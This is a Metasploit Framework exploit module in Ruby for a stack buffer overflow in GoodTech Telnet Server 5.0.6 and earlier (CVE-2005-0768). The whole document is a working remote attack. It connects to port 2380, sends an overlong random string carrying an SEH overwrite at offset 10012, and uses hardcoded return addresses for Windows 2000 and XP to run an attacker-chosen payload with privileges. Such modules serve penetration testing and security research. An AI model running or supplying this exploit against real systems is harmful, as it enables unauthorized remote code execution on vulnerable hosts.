GoodTech Telnet Server <= 5.0.6 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in GoodTech Systems Telnet Server   
versions prior to 5.0.7. By sending an overly long string, an attacker can   
overwrite the buffer and control program execution.  
},  
'License' => MSF_LICENSE,  
'Author' => 'MC',  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-0768' ],  
[ 'OSVDB', '14806'],  
[ 'BID', '12815' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Mar 15 2005',  
'DefaultTarget' => 0))  
  
register_options([ Opt::RPORT(2380) ], self)  
end  
  
def exploit  
connect  
  
sploit = rand_text_english(10020, payload_badchars)  
seh = generate_seh_payload(target.ret)  
  
sploit[10012, seh.length] = seh  
  
print_status("Trying target #{target.name}...")  
  
sock.put(sploit + "\r\n\r\n")  
  
handler  
disconnect  
end  
  
end  
`